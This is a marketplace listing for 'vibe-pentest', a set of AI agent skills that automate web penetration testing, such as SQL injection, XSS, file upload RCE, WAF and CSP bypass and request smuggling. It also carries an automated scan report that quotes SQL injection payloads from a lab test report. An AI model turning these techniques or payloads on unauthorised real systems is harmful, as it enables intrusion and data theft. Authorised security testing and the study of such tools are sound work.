- 白帽子职业操守(强制遵守)
- 漏洞渗透策略(分阶段执行)
- 输出格式
- 未传入 WORKSPACE_DIR 时的定位流程
- 反幻觉规则
Scripts executed separately
../../scripts/http_test.py
Files
SKILL.mdcore24,476 bytesSKILL.mdcore24,476 bytesSKILL.mdcore24,476 bytesSKILL.mdcore24,476 bytesSKILL.mdcore24,476 bytes../../scripts/http_test.pyruns66,357 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbusiness-agent
When your agent uses it
负责业务逻辑漏洞检测:业务流程绕过、状态机缺陷、竞态滥用、价格篡改、 优惠券滥用、库存与数量操纵,以及订单、支付、订阅等场景中的业务规则滥用
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
4,137 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色身份
- 职责范围
- 输入数据
- HTTP 发包工具(强制优先)
- 白帽子职业操守(强制遵守)
- 漏洞渗透策略(强制执行)
- 可参考的业务逻辑技能
- 输出格式
- 未传入 WORKSPACE_DIR 时的定位流程
- 反幻觉规则
Scripts executed separately
../../scripts/http_test.py
Files
SKILL.mdcore16,079 bytesSKILL.mdcore16,079 bytesSKILL.mdcore16,079 bytesSKILL.mdcore16,079 bytesSKILL.mdcore16,079 bytes../../scripts/http_test.pyruns66,357 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubfile-agent
When your agent uses it
负责文件类漏洞检测:路径穿越/LFI/RFI/LFI→RCE、任意文件上传、文件包含、 任意文件下载、Zip Slip、SVG/CSV 注入、PHP Wrapper 利用、PEARCMD RCE、 编辑器路径利用、敏感文件泄露与文件解析链风险。
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
5,315 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色身份
- 职责范围
- 输入数据
- 使用工具
- 白帽子职业操守(强制遵守)
- 漏洞渗透策略(强制执行)
- 辅助技能调用
- 输出格式
- 未传入 WORKSPACE_DIR 时的定位流程
- 反幻觉规则
Scripts executed separately
../../scripts/dnslog.py../../scripts/http_test.py
Files
SKILL.mdcore20,301 bytesSKILL.mdcore20,301 bytesSKILL.mdcore20,301 bytesSKILL.mdcore20,301 bytesSKILL.mdcore20,301 bytesSKILL.mdcore20,301 bytesSKILL.mdcore20,301 bytesSKILL.mdcore20,301 bytes../../scripts/dnslog.pyruns5,561 bytes../../scripts/http_test.pyruns66,357 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubinjection-agent
When your agent uses it
负责所有注入类漏洞检测:SQLi/NoSQL/XSS(存储/反射/DOM)/SSRF/XXE/SSTI/RCE/反序列化/CRLF/XSLT/EL/JNDI
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
6,470 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色身份
- 职责范围
- 输入数据
- 使用工具
- 白帽子职业操守(强制遵守)
- 漏洞渗透策略(强制执行)
- 辅助技能调用
- 输出格式
- 未传入 WORKSPACE_DIR 时的定位流程
- 反幻觉规则
Scripts executed separately
../../scripts/deserialization_payload.py../../scripts/dnslog.py../../scripts/http_test.py
Files
SKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytesSKILL.mdcore23,606 bytes../../scripts/deserialization_payload.pyruns12,606 bytes../../scripts/dnslog.pyruns5,561 bytes../../scripts/http_test.pyruns66,357 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmisc-agent
When your agent uses it
负责外围攻击面与协议边界安全检测:信息泄露/开放重定向/CORS/CSP/安全头/目录索引/子域名接管/Web缓存欺骗/Clickjacking/Host头攻击
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
4,522 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色身份
- 职责范围
- 输入数据
- HTTP 发包工具(强制优先)
- 白帽子职业操守(强制遵守)
- 漏洞渗透策略(强制执行)
- 输出格式
- 未传入 WORKSPACE_DIR 时的定位流程
- 反幻觉规则
Scripts executed separately
../../scripts/http_test.py
Files
SKILL.mdcore16,918 bytesSKILL.mdcore16,918 bytesSKILL.mdcore16,918 bytesSKILL.mdcore16,918 bytes../../scripts/http_test.pyruns66,357 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpoc-agent
When your agent uses it
基于指纹识别结果(tech_stack),优先匹配本地 POC;在用户明确授权时补充联网搜索 POC,并通过 http_test.py 验证已知漏洞。 工作流程:读取指纹识别结果 → 提取关键字搜索本地与联网 POC → 整理待验证清单 → 解析 POC 定义 → 构造 http_test.py 命令 → 评估匹配器 → 回填 findings。
What it loads into context
Frontmatter
112 tokensAlways available to the agent
SKILL.md
10,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色身份
- 职责范围
- 输入数据
- 使用工具
- 白帽子职业操守(强制遵守)
- 执行流程
- 输出格式
- 未传入 WORKSPACE_DIR 时的定位流程
- 反幻觉规则
Scripts executed separately
../../scripts/deserialization_payload.py../../scripts/dnslog.py../../scripts/http_test.py../../scripts/poc_search.py
Files
SKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytesSKILL.mdcore37,978 bytes../../scripts/deserialization_payload.pyruns12,606 bytes../../scripts/dnslog.pyruns5,561 bytes../../scripts/http_test.pyruns66,357 bytes../../scripts/poc_search.pyruns2,644 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvuln-analysis-agent
When your agent uses it
Vibe Pentest 漏洞综合分析 Agent。固定负责 Phase 5.5 攻击链分析与 Phase 5.6 漏洞证据复查:读取已启用的渗透 Agent 的 findings,输出 attack_chains.json
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,265 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 角色定位
- 主要工作
- 未传入 WORKSPACE_DIR 时的定位流程
Scripts executed separately
../../scripts/verify_findings.py
Files
SKILL.mdcore4,645 bytesSKILL.mdcore4,645 bytes../../scripts/verify_findings.pyruns19,431 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubauth-bypass-techniques
When your agent uses it
Access control bypass methodology. Use when a resource returns 401/403 or redirects to login, and you need to test whether the access control itself is flawed via path normalization, method override, routing-header confusion or content-type tricks. Not a WAF bypass skill.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
2,165 tokensWhen the skill is activated
Reference documents
4,855 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. RELATED ROUTING
- 1. 路径归一化绕过(优先级最高)
- 2. HTTP 方法绕过
- 3. 路由与头部混淆
- 4. 请求体与参数层技巧
- 5. 协议降级与组合
- 6. 服务端技术速查
- 7. 执行顺序(每个受保护目标)
- 8. 判定规则(反幻觉)
Files
SKILL.mdcore6,596 bytes../http-parameter-pollution/SKILL.mddoc6,952 bytes../waf-bypass-techniques/SKILL.mddoc10,828 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubbusiness-logic-vulnerabilities
When your agent uses it
Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
7,610 tokensWhen the skill is activated
Reference documents
25,806 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. PRICE AND VALUE MANIPULATION
- 2. RACE CONDITIONS
- 3. WORKFLOW / STEP SKIP BYPASS
- 4. COUPON AND REFERRAL ABUSE
- 5. ACCOUNT / PRIVILEGE LOGIC FLAWS
- 6. API BUSINESS LOGIC FLAWS
- 7. SUBSCRIPTION / TIER CONFUSION
- 8. FILE UPLOAD BUSINESS LOGIC
- 9. TESTING APPROACH
- 10. HIGH-IMPACT CHECKLISTS
- 11. CONSOLIDATED CHECKLIST (2-Hour Full Sweep)
Files
CHECKLIST.mddoc34,934 bytesMETHODOLOGY.mddoc20,372 bytesSCENARIOS.mddoc38,174 bytesSKILL.mdcore31,681 bytesSKILL.mdcore31,681 bytesSKILL.mdcore31,681 bytesSKILL.mdcore31,681 bytesSKILL.mdcore31,681 bytesSKILL.mdcore31,681 bytesSKILL.mdcore31,681 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcsp-bypass-advanced
When your agent uses it
Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
3,240 tokensWhen the skill is activated
Reference documents
6,821 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. RELATED ROUTING
- 1. CSP DIRECTIVE REFERENCE MATRIX
- 2. BYPASS TECHNIQUES BY DIRECTIVE
- 3. CSP IN META TAG vs. HEADER
- 4. DATA EXFILTRATION DESPITE CSP
- 5. CSP BYPASS DECISION TREE
- 6. TRICK NOTES — WHAT AI MODELS MISS
Files
SKILL.mdcore12,659 bytesSKILL.mdcore12,659 bytes../waf-bypass-techniques/SKILL.mddoc10,828 bytes../xss-cross-site-scripting/SKILL.mddoc13,470 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubghost-bits-cast-attack
When your agent uses it
Java "Ghost Bits" / Cast Attack playbook (Black Hat Asia 2026). Use when attacking Java services where 16-bit char is silently narrowed to 8-bit byte to bypass WAF/IDS for SQL injection, deserialization RCE, file upload (Webshell), path traversal, CRLF injection, request smuggling, and SMTP injection. Affects Tomcat, Spring, Jetty, Undertow, Vert.x, Jackson, Fastjson, Apache Commons BCEL, Apache HttpClient, Angus Mail, JDK HttpServer, Lettuce, Jodd, XMLWriter and re-enables many "patched" CVEs through WAF bypass.
What it loads into context
Frontmatter
161 tokensAlways available to the agent
SKILL.md
8,764 tokensWhen the skill is activated
Reference documents
18,197 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. RELATED ROUTING
- 1. ONE-MINUTE MENTAL MODEL
- 2. THREE ROOT-CAUSE FAMILIES
- 3. CHARACTER GENERATOR
- 4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP
- 5. PER-COMPONENT PAYLOAD RECIPES
- 6. KNOWN-CVE BYPASS RECIPES
- 7. DETECTION DECISION TREE
- 8. SAST / CODE-AUDIT SIGNATURES
- 9. DIFFERENTIAL TESTING WORKFLOW
- 10. DEFENSE AWARENESS
- 11. QUICK REFERENCE — KEY PAYLOADS
- REFERENCES
Files
PAYLOAD_COOKBOOK.mddoc24,488 bytesSKILL.mdcore30,805 bytesSKILL.mdcore30,805 bytesSKILL.mdcore30,805 bytes../request-smuggling/SKILL.mddoc14,765 bytes../sqli-sql-injection/SKILL.mddoc15,500 bytes../waf-bypass-techniques/SKILL.mddoc10,828 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhttp-parameter-pollution
When your agent uses it
HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,780 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. QUICK START
- 1. SERVER BEHAVIOR MATRIX
- 2. PAYLOAD PATTERNS
- 3. ATTACK SCENARIOS
- 4. TOOLS
- 5. DECISION TREE
Files
SKILL.mdcore6,952 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrequest-smuggling
When your agent uses it
HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or when exploring client-side desync via browser fetch pipelines.
What it loads into context
Frontmatter
74 tokensAlways available to the agent
SKILL.md
3,178 tokensWhen the skill is activated
Reference documents
13,059 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. RELATED ROUTING
- 1. QUICK START
- 1. CORE CONCEPT
- 2. CL.TE VULNERABILITIES
- 3. TE.CL VULNERABILITIES
- 4. TE.TE VULNERABILITIES
- 5. HTTP/2 REQUEST SMUGGLING
- 6. CLIENT-SIDE DESYNC
- 7. TOOLS
- 8. DETECTION DECISION TREE
- 12. RELATED ROUTING
Files
../ghost-bits-cast-attack/SKILL.mddoc30,805 bytesH2_SMUGGLING_VARIANTS.mddoc15,518 bytesSKILL.mdcore14,765 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsqli-sql-injection
When your agent uses it
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
4,239 tokensWhen the skill is activated
Reference documents
17,977 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. RELATED ROUTING
- 1. QUICK START
- 1. DETECTION — SUBTLE INDICATORS
- 2. DATABASE FINGERPRINTING
- 3. UNION-BASED DATA EXTRACTION
- 4. BLIND INJECTION — INFERENCE TECHNIQUES
- 5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL
- 6. ESCALATION — OS COMMAND EXECUTION
- 7. SECOND-ORDER INJECTION
- 8. PARAMETERIZED QUERY BYPASS SCENARIOS
- 9. FILTER EVASION TECHNIQUES
- 10. DATABASE METADATA EXTRACTION
- 11. STORED PROCEDURE ABUSE
- 12. QUICK REFERENCE — INJECTION TEST STRINGS
- 13. WAF BYPASS MATRIX
- 14. WAF BYPASS MATRIX
Files
../ghost-bits-cast-attack/SKILL.mddoc30,805 bytesSCENARIOS.mddoc15,006 bytesSKILL.mdcore15,500 bytesSKILL.mdcore15,500 bytesSKILL.mdcore15,500 bytesSQLMAP_ADVANCED.mddoc17,939 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubwaf-bypass-techniques
When your agent uses it
WAF bypass methodology and generic evasion techniques. Use when a web application firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
3,075 tokensWhen the skill is activated
Reference documents
27,267 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. RELATED ROUTING
- 1. PHASE 0 — IDENTIFY THE WAF
- 2. GENERIC BYPASS CATEGORIES
- 3. PROTOCOL-LEVEL BYPASS TECHNIQUES
- 4. WAF BYPASS DECISION TREE
- 5. COMMON MISTAKES & TRICK NOTES
- 6. DEFENSE PERSPECTIVE
Files
../csp-bypass-advanced/SKILL.mddoc12,659 bytes../ghost-bits-cast-attack/SKILL.mddoc30,805 bytes../http-parameter-pollution/SKILL.mddoc6,952 bytes../request-smuggling/SKILL.mddoc14,765 bytes../sqli-sql-injection/SKILL.mddoc15,500 bytesSKILL.mdcore10,828 bytesSKILL.mdcore10,828 bytesWAF_PRODUCT_MATRIX.mddoc9,911 bytes../xss-cross-site-scripting/SKILL.mddoc13,470 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubxss-cross-site-scripting
When your agent uses it
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
3,746 tokensWhen the skill is activated
Reference documents
4,687 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 0. RELATED ROUTING
- 1. INJECTION CONTEXT MATRIX
- 2. MULTI-REFLECTION ATTACKS
- 3. ADVANCED INJECTION VECTORS
- 4. CSP BYPASS TECHNIQUES
- 5. FILTER AND WAF BYPASS
- 6. SECOND-ORDER XSS
- 7. BLIND XSS METHODOLOGY
- 8. XSS EXPLOITATION CHAIN
- 9. DECISION TREE
- 10. XSS TESTING PROCESS (ZSEANO METHOD)
Files
ADVANCED_XSS_TRICKS.mddoc8,969 bytesSCENARIOS.mddoc8,776 bytesSKILL.mdcore13,470 bytesSKILL.mdcore13,470 bytesSKILL.mdcore13,470 bytesSKILL.mdcore13,470 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubSkills included
- vibe-pentest
- api-agent
- auth-agent
- business-agent
- file-agent
- injection-agent
- misc-agent
- poc-agent
- vuln-analysis-agent
- auth-bypass-techniques
- business-logic-vulnerabilities
- csp-bypass-advanced
- ghost-bits-cast-attack
- http-parameter-pollution
- request-smuggling
- sqli-sql-injection
- waf-bypass-techniques
- xss-cross-site-scripting
Repository facts
- License
- AGPL-3.0
- Created
- May 20, 2026
- Last pushed
- Sep 21, 2026
- Forks
- 41
- Open issues
- 2
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 96 notes
Report_Template_pikachu_v1.0.html:1719[Credential-related source omitted]Report_Template_pikachu_v1.0.html:1717Analysis incomplete: physical or joined line exceeds character limitSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedSKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 23 dangerous shell commandsin 11 files: csp-bypass-advanced/SKILL.md:79 references/pentest_skills/waf-bypass-techniques/SKILL.md:189 Report_Template_pikachu_v1.0.html:1592 and 8 more
- 2,521 network referencesin 271 files: Report_Template_pikachu_v1.0.html:5 scripts/http_test.py:774 scripts/fingerprints_rules/fingerprints_db.yaml:48 and 268 more
- 10 obfuscation signalsin 7 files: ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md:320 scripts/ws_test.py:448 pocs/public/kuboard-default-login-2.yaml:8 and 4 more
- No instruction overrides
- 40 executable scriptsin 25 files: scripts/http_test.py:1 scripts/dnslog.py:1 scripts/deserialization_payload.py:1 and 22 more
- 25 references to secretsin 9 files: scripts/extract_credentials.py:221 scripts/run_gospider.py:110 scripts/sensitive_extract.py:186 and 6 more
- No requests to vote in Hot
Show all 2,619 signals by file
LICENSE
- Network accessline 4
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/> - Network accessline 645
You should have received a copy of the GNU Affero General Public License along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 646
along with this program. If not, see <https://www.gnu.org/licenses/>. - Network accessline 659
if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>. - Network accessline 661
<https://www.gnu.org/licenses/>.
README.md
- Network accessline 55
目标 URL: `https://example1.com` - Network accessline 56
`https://example1.com` - Network accessline 57
`https://example2.com` - Network accessline 88
目标 URL: https://example.com - Network accessline 123
视频包含智能体软件安装介绍、多 Agent 并行渗透演示:[氛围渗透(Vibe Pentest)3 分钟使用教程](https://www.bilibili.com/video/BV1RiGX6rESQ/) - Network accessline 135
请先手工安装 `Git` 工具,方便后续从代码仓库克隆技能、以及自动更新技能。 `Git` 工具官方下载地址:[git-scm.com](https://git-scm.com/)。 - Network accessline 136
`Git` 工具官方下载地址:[git-scm.com](https://git-scm.com/)。 - Network accessline 143
帮我安装 vibe-pentest skill(包括环境运行依赖),仓库地址:https://gitee.com/ok-helloworld/vibe-pentest - Network accessline 155
git clone https://gitee.com/ok-helloworld/vibe-pentest - Network accessline 170
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-docx matplotlib requests urllib3 httpx charset-normalizer chardet playwright PySocks socksio pyyaml mmh3 - Network accessline 182
# Linux/macOS export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright - Network accessline 183
export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright - Network accessline 185
$env:PLAYWRIGHT_DOWNLOAD_HOST="https://cdn.npmmirror.com/binaries/playwright"
README_EN.md
- Network accessline 55
Target URLs: `https://example1.com` - Network accessline 56
`https://example1.com` - Network accessline 57
`https://example2.com` - Network accessline 88
Target URL: https://example.com - Network accessline 123
The video includes an introduction to agent software installation and a demo of multi-Agent parallel penetration: [Vibe Pentest 3-Minute Tutorial](https://www.bilibili.com/video/BV1RiGX6rESQ/) - Network accessline 135
Please install the `Git` tool manually first, so that the skill can be cloned from the code repository and automatically updated later. Official download address for the `Git` tool: [git-scm.com](https://git-scm.com/). - Network accessline 136
Official download address for the `Git` tool: [git-scm.com](https://git-scm.com/). - Network accessline 143
Help me install the vibe-pentest skill (including environment dependencies), repository: https://gitee.com/ok-helloworld/vibe-pentest - Network accessline 155
git clone https://gitee.com/ok-helloworld/vibe-pentest - Network accessline 170
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-docx matplotlib requests urllib3 httpx charset-normalizer chardet playwright PySocks socksio pyyaml mmh3 - Network accessline 182
# Linux/macOS export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright - Network accessline 183
export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright - Network accessline 185
$env:PLAYWRIGHT_DOWNLOAD_HOST="https://cdn.npmmirror.com/binaries/playwright"
Report_Template_pikachu_v1.0.html
- Network accessline 5
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>安全渗透测试报告 · VUL-2026-Q7HPJ</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script> - Network accessline 6
<title>安全渗透测试报告 · VUL-2026-Q7HPJ</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datal - Network accessline 7
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script> - Network accessline 8
<script src="https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datalabels.min.js"></script> - Network accessline 10
@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=Noto+Sans+SC:wght@300;400;500;700&display=swap'); - Network accessline 643
<div class="header-eyebrow">渗透测试报告</div> <div class="header-title">Web 应用安全评估(pikachu 漏洞靶场)</div> <div class="header-subtitle">http://192.168.1.133:8000/ · Php / Apache / Mysql</div> - Network accessline 644
<div class="header-title">Web 应用安全评估(pikachu 漏洞靶场)</div> <div class="header-subtitle">http://192.168.1.133:8000/ · Php / Apache / Mysql</div> </div> - Network accessline 645
<div class="header-subtitle">http://192.168.1.133:8000/ · Php / Apache / Mysql</div> - Network accessline 656
</div> <div class="risk-banner"> <div class="risk-banner-inner">目标 · http://192.168.1.133:8000/ | 技术栈 · Php / Apache / Mysql</div> - Network accessline 657
<div class="risk-banner"> <div class="risk-banner-inner">目标 · http://192.168.1.133:8000/ | 技术栈 · Php / Apache / Mysql</div> </div> - Network accessline 658
<div class="risk-banner-inner">目标 · http://192.168.1.133:8000/ | 技术栈 · Php / Apache / Mysql</div> - Network accessline 687
<div class="scope-item"> <div class="scope-key">目标 URL</div> <div class="scope-val">http://192.168.1.133:8000/</div> - Network accessline 688
<div class="scope-key">目标 URL</div> <div class="scope-val">http://192.168.1.133:8000/</div> </div> - Network accessline 689
<div class="scope-val">http://192.168.1.133:8000/</div> - Network accessline 744
<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php">h - Network accessline 745
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php">http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php</div></td> <td><sp - Network accessline 746
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php">http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php</div></td> - Network accessline 753
<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/servercheck.php">h - Network accessline 754
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/servercheck.php">http://192.168.1.133:8000/vul/unsafeupload/servercheck.php</div></td> <td><sp - Network accessline 755
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/servercheck.php">http://192.168.1.133:8000/vul/unsafeupload/servercheck.php</div></td> - Network accessline 762
<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_id.php">http://192.168 - Network accessline 763
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_id.php">http://192.168.1.133:8000/vul/sqli/sqli_id.php</div></td> <td><span class="row-open-indic - Network accessline 764
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_id.php">http://192.168.1.133:8000/vul/sqli/sqli_id.php</div></td> - Network accessline 771
<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1 - Network accessline 772
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_str. - Network accessline 773
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2</di - Network accessline 780
<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%2 - Network accessline 781
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%25%27+or+1%3D1%23&submit=%E6%90%9C%E7%B4%A2">http://192.168.1.133:8000/vul/sqli/ - Network accessline 782
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%25%27+or+1%3D1%23&submit=%E6%90%9C%E7%B4%A2">http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%25%27+or+1%3D1%23&submit=%E6% - Network accessline 789
<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td> <td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1% - Network accessline 790
<td><span class="conf-badge">confirmed</span></td> <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_x.php - Network accessline 791
<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2</div> - Network accessline 798
